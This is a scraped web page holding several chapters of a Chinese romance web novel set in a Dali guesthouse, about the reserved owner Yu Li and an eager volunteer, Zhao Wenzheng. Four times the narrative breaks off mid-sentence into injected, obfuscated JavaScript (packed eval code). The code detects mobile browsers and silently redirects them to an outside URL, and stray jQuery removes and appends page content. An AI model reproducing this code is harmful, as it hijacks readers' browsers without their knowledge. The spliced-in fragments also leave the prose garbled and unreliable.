她刚开始来上班的时候,喻厘和她说过一次这个问题,但没什么用。 后来见她坚持,甚至有点乐此不疲的状态,也就随她去了。 厨房里只有阿鹏一个人,正坐在小板凳上择菜,见她进来,随口道:“阿铮哥接电话去了。” 喻厘对赵闻铮的行踪毫不关心。 他就是义工,又不是正式员工,用些许劳动换取食宿而已。 只要别像个大爷似的当甩手掌柜,其余时间去哪里,做什么,那都是他的自由。 喻厘打开咖啡机,回头问:“喝咖啡吗?” “不要,太苦了。” 她点点头,只倒了一人份的咖啡豆进去。 随着步骤推进,咖啡的香气在空气里弥漫开来。 喻厘端着新鲜出炉的冰美式,又去冰箱里拿了一块昨天买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093833|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小蛋糕,坐到廊下,准备美美来顿上午茶。 本地产的咖啡豆苦味少,醇香浓厚,她抿了一口,感受着尾调的回甘。 接着转头去端蛋糕。 眼前突然有个人影闪过,赵闻铮一屁股坐在桌子那边:“哈喽~” 喻厘掀起眼皮淡淡地瞥了他一眼。 赵闻铮很有一种契而不舍的精神,似乎完全没有感知到她的冷淡,继续说:“老板娘你喜欢喝咖啡啊。” 喻厘总不好一直晾着他,于是不得不开口回搭:“还行。” “这是本地产的咖啡豆吗?我听说云南咖啡产量能占到全国百分之九十八那么多。” “嗯。” “哦。” 喻厘端起蛋糕,侧身背靠藤椅,目视前方。 她本以为聊天就到此为止了。 结果刚用勺子挖了一小块蛋糕,就听到身边的人再次出声:“老板娘,你这个是什么蛋糕啊,看起来很好吃哎!” “榴莲千层。” 喻厘回答完他的问题,继续将蛋糕往嘴边送。 微凉的勺体触碰到嘴唇,她的脑海中蓦地有个念头闪过。 喻厘倏然转头,再次看向赵闻铮。 两人中间只隔了一张小小的茶几,而且他将小臂垫在了桌面上,身体保持着一种微微前倾的姿态,以至于距离近到偶尔可以感知到对方的呼吸。 喻厘微眯起眼睛打量他。 该说不说,这人收拾干净后看起来还挺像那么回事儿的。 棱角分明的一张脸,其次五官长得也不赖,剑眉星目,神采奕奕…… 不对不对! 喻厘猛然意识到自己的关注点跑偏了。 赵闻铮歪了歪脑袋,问她:“怎么了?” 喻厘的注意力回到他的眼睛上,从那双黑到发亮的瞳孔里毫不意外地看到了热情、笑意、真诚,还有一丝隐隐的……期待? 又盯着看过两秒钟后,她十分确定没看错。 这更加印证了她刚刚的猜想。 都不容易啊…… 她放下蛋糕,赫然起身,走进厨房,拿出冰箱里的最后一块库存,然后重新回到他面前,递过去。 赵闻铮看一眼蛋糕,再仰头看看她,有点不敢确定地问:“给我的?” 见他没接,喻厘还以为他是不好意思要,干脆直接放到他手边:“嗯,吃吧。” “真的嘛!?”赵闻铮的眼睛顿时更亮了,音量提高,语气诚恳:“谢谢!” 其实他刚才单纯只是想和喻厘说说话,但又不知道该说什么,所以就随便从手边的东西上找话题,俗称:没话找话。 实在没想到还能获得意外之喜。 看他一直还在盯着自己,喻厘又把蛋糕往前面推了推:“别看我了,快吃吧。” “好!” 赵闻铮打开盖子,挖了一大块蛋糕塞进嘴里,依旧不忘转头朝她笑笑。 说实话,他不喜欢吃蛋糕,更加不喜欢榴莲的味道。 但手里这块,绝对是他吃过最好吃的了! 不过他这副模样落在喻厘眼中又有了另外一层含义。 她在心里无声地叹了口气。 唉,一块蛋糕而已,居然能高兴成这样,真是可怜呐…… 5. 人心之动 尽管最近的天气温度并不算高,但大理紫外线的威力可不容小觑。 毫不夸张地说,除非天赋异禀,否则如果你在高峰期出门溜达俩小时,回来后能直接黑三个度。 吃过午饭,民宿里很快安静下来,集体进入午休模式。 喻厘一觉睡到快三点,下楼时还懵懵的,处于一种身体醒了,但人还没醒的状态。 一楼大堂有块专门留出来的空区域,摆了长桌凳,供大家休息闲聊。 她走到临窗的长凳边,坐下来先打了个哈欠:“哈————” 尾音还没停止,忽然听到楼上响起一阵“当当咚咚”的动静,声音非常大。 阿兰从前台后面绕出去打算去看看什么情况,走了几步,就见两道身影一前一后地进入视野。 正是昨天傍晚时出现的那对小情侣。 走在前面的女生双手费劲地提着行李箱往下走,一脸怒气冲冲的模样。 男生紧随其后,伸手试图拉住她,语气有些无奈:“你这是要去哪儿啊?” “滚蛋!别碰我!”女生一把甩开他,没好气地说:“你管我去哪儿呢!” 拉扯间,两人已经走到楼梯底部最后一个小平台。 男生再次尝试拽她,一边哄道:“乖,咱别闹了成嘛?” 结果女生听见这话顿时就火了,隔着三层台阶,用力把行李箱往下一扔。 “咚”的一声巨响,轮子砸在地砖上,咕噜噜地滚出去很远。 她猛地回头,厉声质问道:“闹!?你说我闹?” 男生也意识到自己说错话了,又换一种方式劝说:“你先冷静一点我们再聊。” “我现在非常冷静。”女生咬牙切齿道:“该说的话刚才已经说完了,我跟你没什么好聊的。放手!” 男生当然不可能放,两人像斗鸡似的僵持在原地。 其他房间的住客听到动静,在楼梯口探头探脑地围观。 阿兰见情形不对,怕影响到其他还在休息的客人造成不良影响,连忙快步赶过去,安抚双方情绪:“别吵别吵,有话好好说嘛,来,坐那里消消气。” 赵闻铮也闻声从外面进来,走到男生身旁,拍拍他的胳膊示意:“来,哥们,你先放开。” 迟疑几秒,男生不太情愿地松了手。 “对嘛。” 两人分别被赵闻铮和阿兰半拉半就地扶到长桌两端坐下。 自打他们出现开始,喻厘全程保持安静,下意识降低存在感,连呼吸都不自觉地放轻了,脚趾更是一刻都没有放松。 哪承想战场就这样转移到她面前来了。 她“噌”地站起来,快步走到前台后面坐下。 面对此类事件,喻厘的处事原则是:不好奇、不掺和,有多远就离多远。 因为她实在不擅长应对复杂的社交问题。 赵闻铮疑惑地看了一眼她匆匆离开的身影。 另一边,阿兰为了缓和气氛,语气里带着点笑意,故作轻松地说:“这是怎么回事嘛,你们两个昨天晚上不还腻腻歪歪的。” 女生斜了男朋友一眼,没好气地说:“你问他吧。” 几道视线齐聚在男生身上,他不自在地挠了挠头:“也没多大的事儿,就是我们原本打算在大理待一个月,但公司刚刚收尾的项目出了点问题,领导让我提前回去。” “我是因为这个嘛!” “不是嘛?”男生反问道:“你说要出来玩,行,我陪你来了吧,为了请假,你知道我跟领导说了多少好话嘛!” 他简直越说越觉得委屈,说到最后直接站起来了。 “你人是来了,心呢?”女生尖声质问。 眼见又要吵起来,阿兰赶紧出声劝说:“别吵,别吵,慢慢说。” 赵闻铮按住他的肩膀往下压:“别激动,你先坐。” 他环视一圈,几步走到前台处,拿了两个一次性纸杯,抬了抬下巴示意:“老板娘,麻烦把水壶递给我。” 俞厘站起来,沉默着将两个纸杯倒满,然后又坐了回去。 赵闻铮轻挑眉梢,总感觉老板娘下午看起来格外安静。 他重新回到长桌将纸杯分别放到两人面前:“先喝口水。” 女生直接仰头一口气全干了,而后深深呼吸,重重吐气,一字一顿地说:“是,我承认,你确实陪我来了。” “但这趟旅行我等了一年多,中间你放了我三次鸽子。你知道刚确定行程的时候我有多兴奋吗?光计划表就做了一个星期,在网上到处搜集各种攻略。” 她吸了吸鼻子,有点哽咽:“可到现在为止,咱们来了有十七天了吧,你大部分时间不是抱着电脑就是手机,计划表的第一页都没完成。现在你又突然跟我说要提前回去。” 话音落下,她再也压制不住一直在眼眶里打转的泪水。 “哎!你别哭嘛。”见女朋友哭了,男生的语气瞬间软下来:“那我也没办法啊,还不是为了赚那点窝囊废。” 阿兰听完他们吵架的前因后果,一时间不知道该从哪里开始劝。 两个人各有各的立场,真不能一概而论说是谁的错。 这是生活和生存之间的矛盾。 无解。 她抽了张纸巾递给女生,让她先擦擦眼泪,一边构思措辞。 却不想赵闻铮直接把她的心里话给说出来了:“唔,好像都很有道理。” 他摩挲着下巴,一副认真思考的模样。 “那你现在的诉求是什么呢?”他问女生。 “我……我……”女生犹豫半天,气势忽然变弱:“我就是想让他多陪陪我啊。” 一听这话,男生立马站起来走到她身边,把人搂进怀里,轻声安慰:“知道,我知道。” 女生抽噎着说,更像是在撒娇:“哪怕就在我旁边坐着,不说话,什么都不干,让我知道你在就好。可是你工作那么忙,回去之后我又不能经常见到你了。” 男生一下一下轻抚着她的背,忽然好似下定了什么决心,坚定道:“不回去了!” “啊?”女生茫然抬头,脸上还挂着泪痕。 “我去跟我领导说,咱们再待两天!” 他握住女朋友的手腕,把她拉起来:“走,回房间。” 短暂的呆愣过后,女生破涕为笑,重重点头:“嗯!” 两人提着行李箱又上去了,离开前还不忘向阿兰和赵闻铮道谢。 阿兰都看傻了。 这就……和好了? “叮铃咣啷”的动静很快消失在楼梯尽头。 她回过神,朝赵闻铮比了个大拇指:“还得是你。” 两句话就把人劝好了。 赵闻铮也很懵圈,他准备了一肚子话还没来得及说呢! 不过嘛…… 他看一眼坐在前台后面只露出半个脑袋、正在假装忙碌的喻厘,又看看楼梯方向,若有所思。 …… 转眼又到了晚上,喻厘吃完饭后就回房间了。 从头到尾看完一部电影,她本想喝杯温水就上床睡觉,结果发现房间里的纯净水喝完了,不得不下楼去找。 走到大厅的时候,她惊讶发现前台竟然还有人在。 “阿兰?” “哎,栗子姐。” 喻厘奇怪地问:“你怎么还没回家?” “有位客人提前打电话说飞机晚点了,需要延迟办理入住。”说完,阿兰先打了个哈欠。 喻厘看了一眼墙上的挂钟,再有几分钟就十点了。 她想了想,说:“你先回去吧。” “不用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093834|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”阿兰坚持道:“估计快到了,我再等一会儿。” 喻厘直接把她的包塞进她怀里:“我来等,你再不回去你阿妈要着急了。” 阿兰的阿爸去世早,留下她和阿妈相依为命,阿妈这几年身体也不太好,要不然她现在大概还留在昆明打工。 “那好吧。”阿兰站起来,把包挂在肩上:“辛苦你了,栗子姐。” 喻厘下楼时没带手机,也懒得再上去拿。 休闲区有一整面墙的书架,她干脆过去随便拿了本书打发时间。 不一会儿,院子里响起脚步声,由远及近。 喻厘本以为是那队来晚的住客到了,抬头却发现是赵闻铮。 “哎?老板娘,原来你还没休息啊。”他惊喜道。 接着举了举手里的空桶,笑着问:“老板娘,我能再要一桶热水吗?” 隔空对视两秒,喻厘合上书,什么都没说,径直朝楼上走去。 赵闻铮提着桶跟在后面。 接完热水,她再次坐回窗边,继续看书。 窗户开着,身后偶尔有水声传来,大脑自动回想起昨晚那一幕。 喻厘的手指无意识地卷曲页脚,却迟迟没有翻动。 直到水声停止,脚步声再起。 她猛然回神,赶紧翻过一页。 等看清上面的内容后——“凡音之起,由人心生也。人心之动,物使之然也。感于物而动,故形于声。”【1】 又慌乱翻到下一页。 脚步声从身边掠过,走向卫生间。 喻厘强迫自己忽略他的存在,将注意力都聚集在书上。 刚看过两行,突然,鼻腔里闯进一股水汽,伴随着熟悉的沐浴露香味。 她偏头瞥了一眼坐在旁边的人。 见她看过来,赵闻铮立刻回以一个笑容。 喻厘收回视线重新放在书上,心中无比懊恼。 别再想那些乱七八糟的东西了! 赵闻铮也不说话,就那样安静地坐着。 她想赶人走都没有理由,也就只能当他不存在了。 夜风微凉,从窗外灌进来。 “阿嚏——”赵闻铮没忍住打了个喷嚏。 喻厘突然又想到上午他委婉讨要蛋糕时那副可怜兮兮的样子。 总让他在院子里洗澡到底不是一件长久事。 先不说被其他住宿的客人撞见影响不好,光是现在大理晚上的温度也够呛,这样下去迟早要生病。 外面再次响起的脚步声打断了她的思路。 这回确实是住客了。 来的是两个妹子,进门先道歉:“抱歉抱歉,飞机晚点,让你们久等了。” “没事。” 喻厘走进前台,跟她们要了身份证,确认订房信息无误后,快速办理好入住。 “上去后右手边第一间。”正好她也要回房间,想了想说:“我带你们上去吧。” “谢谢。” 赵闻铮自告奋勇:“我来拿行李。” 说完,他接过箱子,一手拎起一个,轻松的样子仿佛是空的。 两个妹子忍不住惊叹道:“哇塞!太牛了吧。” 她们对自己行李箱的重量非常有数,那可是擦着免费行李额线来的。 喻厘一脸淡定:“走吧。” 上了二楼,把两个妹子送进房间,确认没有其他问题后,她也转身准备回去。 路过楼梯口,又听到赵闻铮喊她:“老板娘。” 喻厘闻声回头。 赵闻铮笑容满面,语调雀跃地说:“晚安!” 喻厘:“……” 真想不明白,这人一天到晚到底能有多少开心的事儿啊? 对上他无比期待的目光,喻厘勉强扯了扯嘴角:“晚安。” 6. 别管闲事 喻厘直到现在才发现,其实自己的适应能力比想象中强很多。 这刚第三天,她已经习惯民宿里多一个人的存在了。 也习惯了赵闻铮发来的“早安”问候。 当他站在对面房顶上问她:“今天有什么计划”时。 她居然真的回答了:“种花。” 院子里各种墙根底,廊檐下布满了各式花草,基本上全部是喻厘或买回来或自己种的,一年四季都能看到花开。 其中有两盆兰花是她几年前从苍山上挖回来的野生品种。 最初只有孤零零的一株,结果越长越多,现在都快要爆盆了。 所以她就计划着找时间把苗分开。 花根部分喻厘已经提前几天控好水了,只等着软下来就分株移栽。 吃过早饭后,她检查了一下花根觉得差不多了,便开始忙活起来。 赵闻铮依旧不同意记得昨天从那对情侣身上学到的新要点:陪伴。 看喻厘开始干活了,他当即凑过去,主动提议说:“老板娘,我帮你弄吧。” 喻厘蹲在花盆前,闻言仰头看向他,不太确定地问:“你种过花吗?” 赵闻铮斩钉截铁地回道:“当然!” 还记得当初小学三年级时科学老师让大家回家种蚕豆,体会植物生长的过程。 从发芽、搭架子、开花,他一直亲力亲为。 直到现在都还记得那花是什么颜色的。 后来拿到班级里去,还被老师夸了呢。 虽然喻厘心中犹豫,但听他语气笃定,还是往旁边挪了挪,让出位置。 赵闻铮和她并排蹲下,真心请教:“我需要做些什么?” 两盆兰花的根系已经缠绕在一起,难舍难分。 喻厘拿起其中一棵,一边动手演示,一边讲解:“先稍微把它弄松一点,然后从中间选个比较宽松的、合适分苗的位置,抓住两边左右摇晃,像这样把它们分开就行了,如果实在掰不开可以用剪刀,最后每部分大概剩三到四苗就行了。” “OK。” 赵闻铮像模像样地拍打几下,让缠绕在一起的根系简单放松,而后将其一分为二,握住两端。 他手长得大,所以抓的时候看起来毫不费劲。 不像喻厘,勉强能拢住。 看着还挺像回事的。 喻厘在心里默默点了点头。 结果下一秒,就见赵闻铮双手用力一晃,土渣和断裂的根须顿时簌簌而下。 “哎!”她惊呼一声。 赵闻铮转头看她,眼神茫然而无措:“怎么了?我做错了吗?” 想着人家毕竟是来帮忙的,喻厘不好意思说什么责备的话,于是只能摇摇头:“没事,你动作稍微放轻一点。” “哦。” 赵闻铮收回视线,继续摇动,速度确实慢下来了,但情况并没有比刚才好多少。 他很快将整个花簇分成两半,送到喻厘面前,邀功似的问:“这样可以吗?” 喻厘垂眼看着那损伤惨重的新根,含糊地“嗯”了声,委婉道:“还是不用你忙了,我自己慢慢弄就好。” “为什么?”赵闻铮问。 “这不属于你的工作范畴。”喻厘说:“你先去做你自己的事情吧。” “我现在没什么事儿。” 说完,他作势又要继续分苗。 “……” 正当喻厘绞尽脑汁地想着怎么才能劝他抓紧离她的花远点的时候,外面忽然热闹起来。 有人站在门口高声问:“是这里要装热水器嘎?” 这一声简直堪称天籁,她顿时如蒙大赦,立马站起来,拍掉手上的土渣,大声应道:“对!” 确认没走错地方后,安装师傅便抬着东西进来了。 “装到哪里?”其中年纪稍大的那个问。 阿鹏听到声音从厨房的窗口探出头:“栗子姐,这是要给楼下的卫生间装热水器?” “嗯。”喻厘示意安装师傅:“跟我进来吧。” 她绕过盆栽,踏上台阶,刚走到大堂门口,突然又想到什么,忙停下来回头叮嘱赵闻铮:“你先别弄了,等我忙完再说。” 后者乖乖点头答应:“好。” 阿鹏从厨房里出来,准备跟过去帮忙,路过赵闻铮身边的时候,用胳膊撞了他一下,笑道:“我们栗子姐心好,这是要专门为了你装热水器嘎。” 专门给他装的热水器? 赵闻铮站在原地眨了眨眼睛,大脑自动重复着阿鹏的话,忽而咧开嘴角笑了。 大厅里,喻厘正倚在卫生间对面的墙上监工。 赵闻铮快步靠近,喊了声:“老板娘。” 喻厘闻言偏头瞥他一眼。 “谢谢你。” “???” 赵闻铮眼睛里盛满笑意。 他真诚道:“还专门为了我安热水器,真是破费了。” “谁说我是给你安的了。”喻厘开口,语调平淡地说:“这是公用的。” “哦……” 他弱弱地应了声,不过那股高兴劲儿一点都没减少。 话是这么说,可毕竟真需要用这个卫生间洗澡的人只有他。 因为之前没有预留热水器的位置,所以还得重新改装管道,一通忙活下来已经接近中午了。 喻厘做主留两个安装师傅吃了顿饭。 忙碌的一上午眨眼便过。 午休结束下楼,喻厘打量一圈,发现四处不见赵闻铮的身影,不禁松了口气,打算趁此机会抓紧把花种好。 她快速将苗分完,准备移栽到盆里时,突然一声凄厉的喊叫划破天际。 院子里那棵柿子树上,同样在打瞌睡的几只麻雀受到惊吓,扑棱着翅膀飞走了。 随后,怒吼声和哭号声此起彼伏。 赵闻铮自然也听见了,猛地拉开房门,一脸焦急地问:“怎么回事!?” 相反,阿鹏表现得异常淡定,连头都没抬,仿佛对这类情景早已见怪不怪了: “不知道小虎那小子又在外面惹了什么祸,被他阿爸教训了吧。” 语气里颇有些幸灾乐祸的意味。 五分钟过去了,那声音没有半点要停的意思,甚至愈演愈烈。 “那也不能这么打孩子吧。”赵闻铮的眉头随之越皱越紧:“不行,我过去看看。” “哎?阿铮哥!” 阿鹏原本想说不用理,等会儿就完事了。 小虎那小子是村子里有名的魔丸,隔三差五就能听到他阿爸对他进行爱的教育。 哪想到赵闻铮跑得那叫一个快,他话还没来得及说出口,人就没影了。 “别管他。”喻厘淡淡地说,低头继续种花。 不多时,哭嚎声戛然而止。 阿鹏奇怪不解:“今天怎么这么快就结束了?” 又过了几分钟,赵闻铮去而复返。 “还真让你给劝住啦。”阿鹏半开玩笑地说。 赵闻铮侧过身,背后露出一个比他的腿稍微高点的小胖敦。 小虎这娃非常对得起他的名字,长得虎头虎脑的。 赵闻铮把他安置在廊下阴凉处,去厨房的冰箱里拿了瓶饮料给他。 小虎的脸上还挂有眼泪,不断抽噎着,两边脸颊上的肉就跟着颤。 尽管连说声“谢谢”都磕磕绊绊的,但是却丝毫没耽误喝饮料。 喻厘将最后一株花种好,拍拍手站起来,看向赵闻铮:“你跟我进来。” 赵闻铮不明所以,满头雾水地跟在她后面进了大厅。 喻厘走到洗手池边,打开水龙头,冲洗手上的泥沙。 把他叫进来又不说话,赵闻铮更懵了,干脆先发制人:“喊我进来干嘛啊,老板娘?” 喻厘不咸不淡地问道:“你把他带回来干嘛?” “谁?”赵闻铮一愣,随即反应过来:“你说小虎吗?” 喻厘抬起头,通过洗手池上方的镜子和他对视,虽然没开口,但意思非常明白了。 “我刚才出去的时候,看见小虎被他爸按在凳子上打。用这么长,这么粗的棍子。” 赵闻铮伸手比划了一下,接着说:“这个年纪的孩子正是调皮捣蛋的时候,家长再生气也不能这么打,打坏了怎么办,放在国外,这都算是违法了。” “而且是他爸爸同意让我把他领过来的,双方分开,各自冷静冷静,不好吗?” “但这里中国,无论他阿爸怎么管教孩子,都和我们没关系。” 喻厘关掉水龙头,抽出两张直接随意擦干水渍,往垃圾桶里一扔,转身就走。 赵闻铮下意识追了上去。 喻厘上了三节台阶,蓦地停住,转头看向他,严肃道:“你抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093835|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧把人送回去。” 撂下这么一句后,她径直朝楼上走去。 赵闻铮探头看向她离开的方向,满心疑惑。 他能感觉到喻厘对这件事的抵触,可实在想不明白为什么。 正想着呢,衣服下摆突然被人扯了扯。 他瞬间回神,低头发现是小虎。 小孩子没心没肺的,才一会儿的功夫脸上已经有了笑模样:“阿叔,我饿了。” 赵闻铮又望了一眼楼上,轻叹口气:“走吧,我带你去看看厨房还有什么。” …… 喻厘一直在房间里待到傍晚时分才下楼。 她本以为赵闻铮肯定把人送回去了。 结果没走几步,远远看见门口坐着的一大一小两个背影,正吃冰棍儿呢。 她过去想问问到底怎么回事。 不等说话,赵闻铮却先听到脚步声回头了。 他举了举手里的冰棍儿,笑着问:“老板娘,吃吗?” 伸手不打笑脸人,喻厘一口气憋在嗓子眼,硬梆梆地说:“不吃。” 她缓了缓神,准备拉回正题:“我不是……” 刚一开口,余光里忽然瞥见有人闯入视野。 小虎在旁边直接跳起来,着急忙慌地把手里的冰棍儿往身后藏。 “别藏了,我都看见了。” 小虎期期艾艾地朝来人叫了声:“阿爸。” 男人走到近处,把儿子揽到身边,摸了摸他的脑袋,笑道:“你小子在外面混得挺好啊。” 小虎大概察觉出阿爸气消了,也跟着嘻嘻哈哈的。 男人再次抬头,看向赵闻铮和喻厘,收敛起跟儿子玩闹的表情,礼貌道谢:“谢谢你们,不好意思打扰了。” 喻厘最不想遇到的事情还是发生了。 她斜眼乜着赵闻铮,用眼神无声暗示他:“你惹出来的事情,你自己处理。” 而后向男人微微颔首示意,转身先进去了。 怎么又走了? 赵闻铮目光狐疑地看着她离开的背影。 昨天也是这样,她好像真的很不喜欢和人有过多交谈,说话也很言简意赅。 上午介绍怎么种花时那一大段,应该是她这三天来说得最长的一段话了。 他快速回想了一下这两天的经历,猜测她可能是怕麻烦? 这样想着,赵闻铮收回视线,客气道:“不打扰,小虎其实很乖的。” “乖?”小虎的阿爸“哈哈”大笑:“这臭小子自打出生起就没乖过。” “你知道我下午为什么要教训他吗?”他问。 而后自问自答地说:“他把鞭炮扔到人家的鸡窝里去了,惹得那叫一个鸡飞狗跳。” “啊……” 那确实是有点过分。 赵闻铮点点头,继而话锋一转:“那也不能打孩子,有什么事好好说,打坏了你也心疼不是嘛?” “害,理是这个理,但我当时真的太生气了,只想着这回非得让他长点记性不可。” 小虎嗦着冰棍儿,找准时机出声:“阿爸,我错了,对不起。” 赵闻铮顺势劝道:“看,小虎都道歉了,知错能改就是好孩子。” 男人摸着儿子的脑袋顶,笑骂道:“你小子。” “不过还是谢谢你。”他又道:“下午如果不是你拦着,我要真把他打出问题,他阿妈回来肯定第一个不放过我。” “真没什么,不用客气。” …… 他怎么什么事情都能管呢? 一墙之隔的位置,喻厘坐在长椅上,手中捧着昨晚那本书,心思却完全没放上面。 反而将赵闻铮与人寒暄的内容听了个一清二楚。 那样的游刃有余的状态是她永远也无法达到的。 她实在不喜欢社交,甚至可以称得上厌恶,除了面对熟悉的人,连话都很少说,遇事更是能避则避。 这是她的生活态度。 但转念想想,热心热情,什么事儿都要插一脚,又何尝不是赵闻铮的生活态度呢? 院子里,双方正在相互道别。 小虎的阿爸盛情邀请赵闻铮有时间去家里吃饭。 喻厘抿了抿唇,尝试说服自己: 算了,他只是暂时留下来当义工的,用不了多久就会离开。 以后更不会再有任何交集。 7. 一块巧克力 “开饭啦!” 又是一个晴天,阿鹏颇具穿透力的嗓音准时响彻整个院子。 喻厘闻声下楼,几乎和赵闻铮前后脚坐到桌边。 依旧是熟悉的亲切问候:“早上好,老板娘。” “早。” 今天早饭吃耙肉饵丝,猪肘是阿鹏昨晚提前炖好的,软烂脱骨。 煮饵丝用的是炖肉留下的高汤,他还在里面加了只鸡,又鲜又香。 按照平时,阿兰肯定最早上桌的,但今天赵闻铮对面的位置却空着,迟迟不见人影。 他疑惑道:“阿兰还没来吗?” “是嘎。”阿鹏也觉得奇怪:“不是她说今天早上想才耙肉饵丝嘎,难道睡过头了?” “等等我给她打个电话。” 他说着掏出手机,解开锁屏时忽然顿住,抬头看向喻厘: “栗子姐,阿兰说想请一天假,她说给你发微信了,但你没回,怕你没看见让我再转告你一声。” 阿兰是个很敬业的姑娘,轻易不会开口请假,除非有特别重要的事情走不脱。 因此喻厘下意识便问:“出什么事了?” “她说阿妈早上起来突然摔倒了,她想带阿妈去医院检查。”阿鹏解释道。 “行。”喻厘当即答应,说:“你告诉她不用着急回来,安心陪阿妈,如果有需要给我打电话。” 阿鹏点点头,手指飞速敲击屏幕,将她的话按原样转述:“好了。” 过了几秒又道:“她说目前看起来没太大问题,走路什么的都可以,但还是觉得检查一下才放心。” “好,你也先吃饭吧,别给她发消息了。” “嗯。”阿鹏收起手机。 …… 阿兰请假,她的工作就只能由喻厘顶上。 幸好民宿一共只有七间客房,大部分时间里都没有大批量的人员变动,总的来说工作并不繁重,所以临时顶个一两天不成问题。 偏偏今天的状况有点意料之外,这边她还没来得及放下筷子,那边就传来客人的吆喝声:“老板娘,退房!麻烦快一点,我们着急去赶高铁。” 喻厘看一眼剩下的小半碗饵丝,忙完回来再吃估计就凉了,猪肘肉容易腻。 她干脆把碗一撂:“算了,不吃了。” 一顿半顿不吃又饿不死。 …… 帮客人办理好退房,喻厘又查看了一下后台系统,上面显示刚空出来的房间今日便有新的客人入住。 那需要抓紧时间打扫卫生了。 她一手抱着干净的床单被子及各种一次性用品,另一只手拎着笤帚拖把等清洁工具从布草间出来,恰好迎面遇到赵闻铮。 “是要去打扫房间吗?”他伸出手:“我帮你。” 喻厘下意识想说:“不用。” 赵闻铮似是提前预判了她的想法,抢先开口:“这总是我的工作范畴了吧。” 他笑道:“我来了好几天,除了帮阿鹏收拾碗筷外什么都没干,总不好白吃白住。” 也是。 喻厘觉得他说的话有道理。 义工本质上就是要用劳动换取食宿。 她还没善心大发可以到白养一个人,有这些闲钱还不如拿去捐给残障儿童,给她们加个餐。 想通这点后,她立马不客气地把东西塞到他手上,一身轻松地上了楼。 需要打扫的房间位于走廊尽头,是间双床房。 喻厘率先进门,环视一圈,在心里作出初步评估——还行,不算太乱。 “一人一张床,先把床单被罩扯下来,灰尘扫一扫,再换上新的。”她指挥道。 “好。” 赵闻铮一边干活,一边时不时抬眸看一眼对面。 别看喻厘表面上看起来是个甩手掌柜,每天只会看书、喝茶、发呆,实际真干起活来还挺像那么回事的。 她三下五除二将旧的床上用品扯下来,便动手开始换新的。 “老板娘。”赵闻铮突然出声。 “嗯。”喻厘头也没抬,手上动作丝毫未停:“怎么了?” “对不起。” 喻厘蓦地一怔,终于抬起头来看向他。 好好的道什么歉? 她真是满头雾水。 赵闻铮同样也在看她。 两人相互对视着,中间是两张乱七八糟的床,场面有些许奇怪。 大约看出了她的疑问,赵闻铮主动解释说:“关于昨天下午的事儿。” “我没问过你的意见就自作主张把小虎带回来,还没按照你的话把他送回去,是我做错事了,对不起。” 他昨天晚上睡觉前躺在床上时仔细想过了,喻厘和他不一样,她似乎并不喜欢有过多的社交,几天相处下来,她对人对事总是淡淡的。 如果用现在的流行词来说,她应当算是个i人。 但好像又不太一样,她疏离的表象下,隐约还有点抵触和…慌乱? 可她既然那么不喜欢和人打交道,之前为什么会同意素不相识的他留下呢? 这是不是说明他对她来说有点特别? “就因为这个?” 赵闻铮郑重点头:“嗯。” 喻厘发觉自己是真的跟不上他的脑回路。 看着赵闻铮一脸认真的样子,她简直哭笑不得。 “我没生气,你不用放在心上。”她说。 “但你不高兴了。”赵闻铮笃定道。 喻厘:“……” 这人真是! 就这样被直白戳破,她莫名感觉有点烦躁:“都说了没关系。” 然后低头继续忙碌。 赵闻铮安静几秒,又喊她:“老板娘。” “干嘛?” “你饿不饿,我看你早饭都没吃多少。” “嗯?” 话题转换的速度太快,喻厘差点没反应过来,眼看着他绕过床尾,走到自己面前。 赵闻铮掏了掏口袋,然后把右手伸到她面前,摊开。 宽大的掌心里,一小块巧克力正静静地躺在上面。 喻厘垂眸看看,再看向他,用眼神询问什么意思。 “昨天给小虎买零食时留下的,你先补充一下体力,饿着肚子干活容易低血糖。”赵闻铮说。 这算什么? 打一个巴掌再给一颗甜枣吗? 其实也不算。 他没“打她一巴掌”,只是单纯阐述事实罢了。 见她迟迟未接,赵闻铮又把手往前送了送。 喻厘不得不捏起来:“谢了。” 赵闻铮立刻展露笑容:“不客气。” “行了,快干活吧。” “好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 